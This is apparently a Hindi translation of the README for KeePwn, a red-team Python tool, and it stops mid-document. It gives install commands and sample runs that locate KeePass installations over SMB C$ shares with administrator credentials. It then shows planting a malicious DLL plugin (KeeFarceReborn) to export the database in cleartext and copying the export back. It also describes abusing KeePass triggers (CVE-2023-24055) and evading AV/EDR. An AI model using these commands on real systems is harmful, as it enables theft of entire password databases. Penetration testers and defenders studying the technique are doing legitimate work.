
KeePass खोज और गुप्त निष्कर्षण को स्वचालित करने के लिए एक पायथन उपकरण।

कीपास इंस्टेंस खोजने और गुप्त जानकारी निकालने में रेड टीमर्स की मदद करने के लिए एक पायथन स्क्रिप्ट।
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
या यदि आप इंस्टॉल नहीं करना चाहते बल्कि केवल वर्चुअलएनवी में चलाना चाहते हैं:
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
KeePwn का search मॉड्यूल आपके लक्ष्य वातावरण में कीपास चलाने वाले होस्ट की पहचान करने के लिए उपयोग किया जाता है:
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
यह कीपास से संबंधित फ़ाइलों को डिफ़ॉल्ट स्थानों में देखने के लिए Active Directory के बिल्ट-इन C$ शेयर का उपयोग करता है, इसलिए लक्ष्यों पर व्यवस्थापकीय विशेषाधिकारों की आवश्यकता होती है।
मॉड्यूल पहले प्रत्येक उपयोगकर्ता के %APPDATA%\KeePass फ़ोल्डर में KeePass.config.xml कॉन्फ़िगरेशन फ़ाइल और डिफ़ॉल्ट इंस्टॉलेशन पथ (C:\Program Files\KeePass Password Safe 2) में KeePass.exe की तलाश करेगा। यदि कोई कॉन्फ़िगरेशन फ़ाइल मिलती है लेकिन कीपास वैश्विक रूप से स्थापित नहीं है, तो KeePwn --max-depth उप-फ़ोल्डरों तक पोर्टेबल इंस्टॉलेशन की तलाश करेगा।
यह बुनियादी खोज तकनीक यह सटीक रूप से निर्धारित करने के लिए पर्याप्त होनी चाहिए कि किसी वर्कस्टेशन पर कीपास का उपयोग किया जा रहा है या नहीं। इसके अलावा, --get-process विकल्प यह निर्धारित करने के लिए इम्पैकेट के RPC कार्यान्वयन का उपयोग करेगा कि क्या कीपास वर्तमान में लक्ष्य पर चल रहा है।
विभिन्न सुविधा विकल्प भी शामिल हैं जो आपको खोज परिणामों को CSV फ़ाइल में निर्यात करने, केवल उन लक्ष्यों को प्रदर्शित करने जहाँ कीपास पाया जाता है, और समानांतर थ्रेड्स की संख्या को समायोजित करने की अनुमति देते हैं:
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
कीपास में एक प्लगइन फ्रेमवर्क है जिसका दुरुपयोग कीपास प्रक्रिया में दुर्भावनापूर्ण DLL लोड करने के लिए किया जा सकता है, जिससे व्यवस्थापक अधिकारों वाले हमलावर आसानी से डेटाबेस निर्यात कर सकते हैं (देखें: KeeFarceRebornPlugin)।
KeePwn का plugin मॉड्यूल निम्नलिखित की अनुमति देता है:
वर्तमान में स्थापित प्लगइन्स की सूची बनाएं और प्लगइन कैश की गणना करें
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
अपने दुर्भावनापूर्ण प्लगइन्स जोड़ें और हटाएं
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
निर्यात के लिए %APPDATA% की जांच करें और इसे स्वचालित रूप से रिमोट होस्ट से स्थानीय फ़ाइल सिस्टम में ले जाएं
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
ये क्रियाएँ SMB C$ शेयर एक्सेस के माध्यम से की जाती हैं, जिससे AV/EDR का पता लगना सीमित हो जाता है क्योंकि कोई कमांड निष्पादन नहीं किया जाता है।
जैसा कि @harmj0y के ब्लॉग पोस्ट (और बाद में CVE-2023-24055) में वर्णित है, कीपास ट्रिगर सिस्टम का दुरुपयोग डेटाबेस को सादे पाठ में निर्यात करने के लिए किया जा सकता है।
KeePwn का trigger मॉड्यूल निम्नलिखित की अनुमति देता है:
जाँच करें कि क्या कीपास कॉन्फ़िगरेशन में "export" नाम का कोई दुर्भावनापूर्ण ट्रिगर वर्तमान में लिखा गया है
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL